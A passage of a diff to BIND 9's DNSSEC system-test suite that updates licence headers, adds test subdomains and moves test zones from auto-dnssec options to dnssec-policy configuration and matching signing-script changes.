 ns.insecure		A	10.53.0.3
 
+; A second insecure subdomain
+insecure2		NS	ns.insecure2
+ns.insecure2		A	10.53.0.3
+
 ; A secure subdomain we're going to inject bogus data into
 bogus			NS	ns.bogus
 ns.bogus		A	10.53.0.3
@@ -162,4 +168,10 @@ ns.managed-future	A	10.53.0.3
 revkey			NS	ns.revkey
 ns.revkey		A	10.53.0.3
 
+rsasha1			NS	ns.rsasha1
+ns.rsasha1		A	10.53.0.3
+
+rsasha1-1024		NS	ns.rsasha1-1024
+ns.rsasha1-1024		A	10.53.0.3
+
 dname-at-apex-nsec3	NS	ns3
diff --git a/bin/tests/system/dnssec/ns2/hours-vs-days.db.in b/bin/tests/system/dnssec/ns2/hours-vs-days.db.in
index 2545faf6b9..5ec88013c9 100644
--- a/bin/tests/system/dnssec/ns2/hours-vs-days.db.in
+++ b/bin/tests/system/dnssec/ns2/hours-vs-days.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/in-addr.arpa.db.in b/bin/tests/system/dnssec/ns2/in-addr.arpa.db.in
index 0884ad0c14..874b915682 100644
--- a/bin/tests/system/dnssec/ns2/in-addr.arpa.db.in
+++ b/bin/tests/system/dnssec/ns2/in-addr.arpa.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/insecure.secure.example.db b/bin/tests/system/dnssec/ns2/insecure.secure.example.db
index 78f3325788..62862f5305 100644
--- a/bin/tests/system/dnssec/ns2/insecure.secure.example.db
+++ b/bin/tests/system/dnssec/ns2/insecure.secure.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/key.db.in b/bin/tests/system/dnssec/ns2/key.db.in
index 4a91fff2a3..2ff5df4178 100644
--- a/bin/tests/system/dnssec/ns2/key.db.in
+++ b/bin/tests/system/dnssec/ns2/key.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/named.conf.in b/bin/tests/system/dnssec/ns2/named.conf.in
index 3928ec03ad..92cc03d8fc 100644
--- a/bin/tests/system/dnssec/ns2/named.conf.in
+++ b/bin/tests/system/dnssec/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,13 +30,42 @@ options {
 
 key rndc_key {
         secret "1234abcd8765";
-        algorithm hmac-sha256;
+        algorithm @DEFAULT_HMAC@;
 };
 
 controls {
         inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+dnssec-policy "dnssec" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "kskonly" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	signatures-validity 10d;
+	signatures-validity-dnskey 40d;
+};
+
+dnssec-policy "not-enough-hours-in-day" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	/* validity 500 days, resign in 449 days */
+	signatures-validity-dnskey 500d;
+	signatures-validity 500d;
+	signatures-refresh 449d;
+};
+
 zone "." {
 	type hint;
 	file "../../common/root.hint";
@@ -121,17 +152,10 @@ zone "cds-update.secure" {
 	allow-update { any; };
 };
 
-zone "cds-kskonly.secure" {
-	type primary;
-	dnssec-dnskey-kskonly yes;
-	file "cds-kskonly.secure.db.signed";
-	allow-update { any; };
-};
-
 zone "cds-auto.secure" {
 	type primary;
 	file "cds-auto.secure.db.signed";
-	auto-dnssec maintain;
+	dnssec-policy dnssec;
 	allow-update { any; };
 };
 
@@ -151,29 +175,17 @@ zone "cdnskey-update.secure" {
 	allow-update { any; };
 };
 
-zone "cdnskey-kskonly.secure" {
-	type primary;
-	dnssec-dnskey-kskonly yes;
-	file "cdnskey-kskonly.secure.db.signed";
-	allow-update { any; };
-};
-
 zone "cdnskey-auto.secure" {
 	type primary;
 	file "cdnskey-auto.secure.db.signed";
-	auto-dnssec maintain;
+	dnssec-policy dnssec;
 	allow-update { any; };
 };
 
 zone "updatecheck-kskonly.secure" {
 	type primary;
-	auto-dnssec maintain;
-	key-directory ".";
-	dnssec-dnskey-kskonly yes;
-	update-check-ksk yes;
-	sig-validity-interval 10;
-	dnskey-sig-validity 40;
 	file "updatecheck-kskonly.secure.db.signed";
+	dnssec-policy kskonly;
 	allow-update { any; };
 };
 
@@ -183,16 +195,14 @@ zone "corp" {
 };
 
 zone "hours-vs-days" {
-	type master;
+	type primary;
 	file "hours-vs-days.db.signed";
-	auto-dnssec maintain;
-	/* validity 500 days, resign in 499 days */
-	sig-validity-interval 500 499;
+	dnssec-policy not-enough-hours-in-day;
 	allow-update { any; };
 };
 
 zone "too-many-iterations" {
-	type master;
+	type primary;
 	file "too-many-iterations.db.signed";
 };
 
diff --git a/bin/tests/system/dnssec/ns2/private.secure.example.db.in b/bin/tests/system/dnssec/ns2/private.secure.example.db.in
index 98b43a017b..94042ae40a 100644
--- a/bin/tests/system/dnssec/ns2/private.secure.example.db.in
+++ b/bin/tests/system/dnssec/ns2/private.secure.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/rfc2335.example.db b/bin/tests/system/dnssec/ns2/rfc2335.example.db
index b8b477ea84..78e9326fd8 100644
--- a/bin/tests/system/dnssec/ns2/rfc2335.example.db
+++ b/bin/tests/system/dnssec/ns2/rfc2335.example.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 ; File written on Fri Apr 30 12:19:15 2004
 ; dnssec_signzone version 9.2.4rc3
 rfc2335.example.	300	IN SOA	mname1. . (
diff --git a/bin/tests/system/dnssec/ns2/sign.sh b/bin/tests/system/dnssec/ns2/sign.sh
index af2717825f..70203db01c 100644
--- a/bin/tests/system/dnssec/ns2/sign.sh
+++ b/bin/tests/system/dnssec/ns2/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -22,8 +24,8 @@ echo_i "ns2/sign.sh"
 # Get the DS records for the "trusted." and "managed." zones.
 for subdomain in secure unsupported disabled enabled
 do
-	cp "../ns3/dsset-$subdomain.managed$TP" .
-	cp "../ns3/dsset-$subdomain.trusted$TP" .
+	cp "../ns3/dsset-$subdomain.managed." .
+	cp "../ns3/dsset-$subdomain.trusted." .
 done
 
 # Sign the "trusted." and "managed." zones.
@@ -36,7 +38,7 @@ keyname2=$("$KEYGEN" -q -a "$ALTERNATIVE_ALGORITHM" -b "$ALTERNATIVE_BITS" -n zo
 
 cat "$infile" "$keyname1.key" "$keyname2.key" > "$zonefile"
 
-"$SIGNER" -P -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
+"$SIGNER" -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
 
 zone=trusted.
 infile=key.db.in
@@ -47,7 +49,7 @@ keyname2=$("$KEYGEN" -q -a "$ALTERNATIVE_ALGORITHM" -b "$ALTERNATIVE_BITS" -n zo
 
 cat "$infile" "$keyname1.key" "$keyname2.key" > "$zonefile"
 
-"$SIGNER" -P -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
+"$SIGNER" -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
 
 # The "example." zone.
 zone=example.
@@ -61,9 +63,9 @@ for subdomain in secure badds bogus dynamic keyless nsec3 optout \
 	ttlpatch split-dnssec split-smart expired expiring upper lower \
 	dnskey-unknown dnskey-unsupported dnskey-unsupported-2 \
 	dnskey-nsec3-unknown managed-future revkey \
-	dname-at-apex-nsec3 occluded
+	dname-at-apex-nsec3 occluded rsasha1 rsasha1-1024
 do
-	cp "../ns3/dsset-$subdomain.example$TP" .
+	cp "../ns3/dsset-$subdomain.example." .
 done
 
 # Sign the "example." zone.
@@ -72,7 +74,7 @@ keyname2=$("$KEYGEN" -q -a "$ALTERNATIVE_ALGORITHM" -b "$ALTERNATIVE_BITS" -n zo
 
 cat "$infile" "$keyname1.key" "$keyname2.key" > "$zonefile"
 
-"$SIGNER" -P -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
+"$SIGNER" -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
 
 #
 # lower/uppercase the signature bits with the exception of the last characters
@@ -81,7 +83,6 @@ cat "$infile" "$keyname1.key" "$keyname2.key" > "$zonefile"
 
 zonefiletmp=$(mktemp "$zonefile.XXXXXX") || exit 1
 "$CHECKZONE" -D -q -i local "$zone" "$zonefile.signed" |
-tr -d '\r' |
 awk '
 tolower($1) == "bad-cname.example." && $4 == "RRSIG" && $5 == "CNAME" {
 	for (i = 1; i <= NF; i++ ) {
@@ -134,7 +135,7 @@ keyname1=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KS
 keyname2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 
 cat "$infile" "$keyname1.key" "$keyname2.key" > "$zonefile"
-"$SIGNER" -P -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
+"$SIGNER" -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
 
 # Sign the badparam secure file
 
@@ -147,7 +148,7 @@ keyname2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zon
 
 cat "$infile" "$keyname1.key" "$keyname2.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -H 1 -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
+"$SIGNER" -3 - -H 1 -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
 
 sed -e 's/IN NSEC3 1 0 1 /IN NSEC3 1 0 10 /' "$zonefile.signed" > "$zonefile.bad"
 
@@ -162,7 +163,7 @@ keyname2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zon
 
 cat "$infile" "$keyname1.key" "$keyname2.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -A -H 1 -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
+"$SIGNER" -3 - -A -H 1 -g -o "$zone" -k "$keyname1" "$zonefile" "$keyname2" > /dev/null 2>&1
 
 #
 # algroll has just has the old DNSKEY records removed and is waiting
@@ -180,7 +181,7 @@ keynew2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keynew1.key" "$keynew2.key" > "$zonefile"
 
-"$SIGNER" -P -o "$zone" -k "$keyold1" -k "$keynew1" "$zonefile" "$keyold1" "$keyold2" "$keynew1" "$keynew2" > /dev/null 2>&1
+"$SIGNER" -o "$zone" -k "$keyold1" -k "$keynew1" "$zonefile" "$keyold1" "$keyold2" "$keynew1" "$keynew2" > /dev/null 2>&1
 
 #
 # Make a zone big enough that it takes several seconds to generate a new
@@ -204,7 +205,7 @@ done >> "$zonefile"
 key1=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KSK "$zone")
 key2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 cat "$key1.key" "$key2.key" >> "$zonefile"
-"$SIGNER" -P -3 - -A -H 1 -g -o "$zone" -k "$key1" "$zonefile" "$key2" > /dev/null 2>&1
+"$SIGNER" -3 - -A -H 1 -g -o "$zone" -k "$key1" "$zonefile" "$key2" > /dev/null 2>&1
 
 zone=cds.secure
 infile=cds.secure.db.in
@@ -213,7 +214,7 @@ key1=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KSK "$
 key2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 "$DSFROMKEY" -C "$key1.key" > "$key1.cds"
 cat "$infile" "$key1.key" "$key2.key" "$key1.cds" >$zonefile
-"$SIGNER" -P -g -o "$zone" "$zonefile" > /dev/null 2>&1
+"$SIGNER" -g -o "$zone" "$zonefile" > /dev/null 2>&1
 
 zone=cds-x.secure
 infile=cds.secure.db.in
@@ -223,7 +224,7 @@ key2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KSK "$
 key3=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 "$DSFROMKEY" -C "$key2.key" > "$key2.cds"
 cat "$infile" "$key1.key" "$key2.key" "$key3.key" "$key2.cds" > "$zonefile"
-"$SIGNER" -P -g -x -o "$zone" "$zonefile" > /dev/null 2>&1
+"$SIGNER" -g -x -o "$zone" "$zonefile" > /dev/null 2>&1
 
 zone=cds-update.secure
 infile=cds-update.secure.db.in
@@ -231,16 +232,8 @@ zonefile=cds-update.secure.db
 key1=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KSK "$zone")
 key2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 cat "$infile" "$key1.key" "$key2.key" > "$zonefile"
-"$SIGNER" -P -g -o "$zone" "$zonefile" > /dev/null 2>&1
-
-zone=cds-kskonly.secure
-infile=cds-kskonly.secure.db.in
-zonefile=cds-kskonly.secure.db
-key1=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KSK "$zone")
-key2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
-cat "$infile" "$key1.key" "$key2.key" > "$zonefile"
-"$SIGNER" -P -g -o "$zone" "$zonefile" > /dev/null 2>&1
-keyfile_to_key_id "$key1" > cds-kskonly.secure.id
+"$SIGNER" -g -o "$zone" "$zonefile" > /dev/null 2>&1
+keyfile_to_key_id "$key1" > cds-update.secure.id
 
 zone=cds-auto.secure
 infile=cds-auto.secure.db.in
@@ -257,7 +250,7 @@ key1=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KSK "$
 key2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 sed 's/DNSKEY/CDNSKEY/' "$key1.key" > "$key1.cds"
 cat "$infile" "$key1.key" "$key2.key" "$key1.cds" > "$zonefile"
-"$SIGNER" -P -g -o "$zone" "$zonefile" > /dev/null 2>&1
+"$SIGNER" -g -o "$zone" "$zonefile" > /dev/null 2>&1
 
 zone=cdnskey-x.secure
 infile=cdnskey.secure.db.in
@@ -267,7 +260,7 @@ key2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KSK "$
 key3=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 sed 's/DNSKEY/CDNSKEY/' "$key1.key" > "$key1.cds"
 cat "$infile" "$key1.key" "$key2.key" "$key3.key" "$key1.cds" > "$zonefile"
-"$SIGNER" -P -g -x -o "$zone" "$zonefile" > /dev/null 2>&1
+"$SIGNER" -g -x -o "$zone" "$zonefile" > /dev/null 2>&1
 
 zone=cdnskey-update.secure
 infile=cdnskey-update.secure.db.in
@@ -275,16 +268,8 @@ zonefile=cdnskey-update.secure.db
 key1=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KSK "$zone")
 key2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 cat "$infile" "$key1.key" "$key2.key" > "$zonefile"
-"$SIGNER" -P -g -o "$zone" "$zonefile" > /dev/null 2>&1
-
-zone=cdnskey-kskonly.secure
-infile=cdnskey-kskonly.secure.db.in
-zonefile=cdnskey-kskonly.secure.db
-key1=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KSK "$zone")
-key2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
-cat "$infile" "$key1.key" "$key2.key" > "$zonefile"
-"$SIGNER" -P -g -o "$zone" "$zonefile" > /dev/null 2>&1
-keyfile_to_key_id "$key1" > cdnskey-kskonly.secure.id
+"$SIGNER" -g -o "$zone" "$zonefile" > /dev/null 2>&1
+keyfile_to_key_id "$key1" > cdnskey-update.secure.id
 
 zone=cdnskey-auto.secure
 infile=cdnskey-auto.secure.db.in
@@ -304,11 +289,11 @@ keyfile_to_key_id "$key1" > $zone.ksk.id
 keyfile_to_key_id "$key2" > $zone.zsk.id
 echo "${key1}" > $zone.ksk.key
 echo "${key2}" > $zone.zsk.key
-# Add CDS and CDNSKEY records
-sed 's/DNSKEY/CDNSKEY/' "$key1.key" > "$key1.cdnskey"
-"$DSFROMKEY" -C "$key1.key" > "$key1.cds"
-cat "$infile" "$key1.key" "$key2.key" "$key1.cdnskey" "$key1.cds" > "$zonefile"
-# Don't sign, let auto-dnssec maintain do it.
+# Make sure dnssec-policy adds CDS and CDNSKEY records
+$SETTIME -s -g OMNIPRESENT -k OMNIPRESENT now -r OMNIPRESENT now -d RUMOURED now $key1 > settime.out.$zone.ksk 2>&1
+$SETTIME -s -g OMNIPRESENT -k OMNIPRESENT now -z OMNIPRESENT now $key2 > settime.out.$zone.zsk 2>&1
+# Don't sign, let dnssec-policy maintain do it.
+cat "$infile" "$key1.key" "$key2.key" > "$zonefile"
 mv $zonefile "$zonefile.signed"
 
 zone=hours-vs-days
diff --git a/bin/tests/system/dnssec/ns2/single-nsec3.db.in b/bin/tests/system/dnssec/ns2/single-nsec3.db.in
index 6fe1dd0a55..b2e3c1384a 100644
--- a/bin/tests/system/dnssec/ns2/single-nsec3.db.in
+++ b/bin/tests/system/dnssec/ns2/single-nsec3.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/template.secure.db.in b/bin/tests/system/dnssec/ns2/template.secure.db.in
index e42cb4a29e..aa3aaabfaf 100644
--- a/bin/tests/system/dnssec/ns2/template.secure.db.in
+++ b/bin/tests/system/dnssec/ns2/template.secure.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/too-many-iterations.db.in b/bin/tests/system/dnssec/ns2/too-many-iterations.db.in
index e6f502fe69..1527e07c6e 100644
--- a/bin/tests/system/dnssec/ns2/too-many-iterations.db.in
+++ b/bin/tests/system/dnssec/ns2/too-many-iterations.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/auto-nsec.example.db.in b/bin/tests/system/dnssec/ns3/auto-nsec.example.db.in
index 0e0e5e09e5..a7792fd3b8 100644
--- a/bin/tests/system/dnssec/ns3/auto-nsec.example.db.in
+++ b/bin/tests/system/dnssec/ns3/auto-nsec.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/auto-nsec3.example.db.in b/bin/tests/system/dnssec/ns3/auto-nsec3.example.db.in
index 0e0e5e09e5..a7792fd3b8 100644
--- a/bin/tests/system/dnssec/ns3/auto-nsec3.example.db.in
+++ b/bin/tests/system/dnssec/ns3/auto-nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/bogus.example.db.in b/bin/tests/system/dnssec/ns3/bogus.example.db.in
index 8d49000ec1..0feb441cdd 100644
--- a/bin/tests/system/dnssec/ns3/bogus.example.db.in
+++ b/bin/tests/system/dnssec/ns3/bogus.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/dname-at-apex-nsec3.example.db.in b/bin/tests/system/dnssec/ns3/dname-at-apex-nsec3.example.db.in
index c538b735df..e758cdd5a3 100644
--- a/bin/tests/system/dnssec/ns3/dname-at-apex-nsec3.example.db.in
+++ b/bin/tests/system/dnssec/ns3/dname-at-apex-nsec3.example.db.in
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL	600
 @	SOA	ns3.example. . 1 1200 1200 1814400 3600
 @	NS	ns3.example.
diff --git a/bin/tests/system/dnssec/ns3/dnskey-nsec3-unknown.example.db.in b/bin/tests/system/dnssec/ns3/dnskey-nsec3-unknown.example.db.in
index e1475c533f..f37dd750ce 100644
--- a/bin/tests/system/dnssec/ns3/dnskey-nsec3-unknown.example.db.in
+++ b/bin/tests/system/dnssec/ns3/dnskey-nsec3-unknown.example.db.in
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL 300	; 5 minutes
 @			IN SOA	mname1. . (
 				2000042407 ; serial
diff --git a/bin/tests/system/dnssec/ns3/dnskey-unknown.example.db.in b/bin/tests/system/dnssec/ns3/dnskey-unknown.example.db.in
index c9e7c2b3da..f37dd750ce 100644
--- a/bin/tests/system/dnssec/ns3/dnskey-unknown.example.db.in
+++ b/bin/tests/system/dnssec/ns3/dnskey-unknown.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/dnskey-unsupported-2.example.db.in b/bin/tests/system/dnssec/ns3/dnskey-unsupported-2.example.db.in
index c9e7c2b3da..f37dd750ce 100644
--- a/bin/tests/system/dnssec/ns3/dnskey-unsupported-2.example.db.in
+++ b/bin/tests/system/dnssec/ns3/dnskey-unsupported-2.example.db.in
@@ -1,8 +1,10 @@
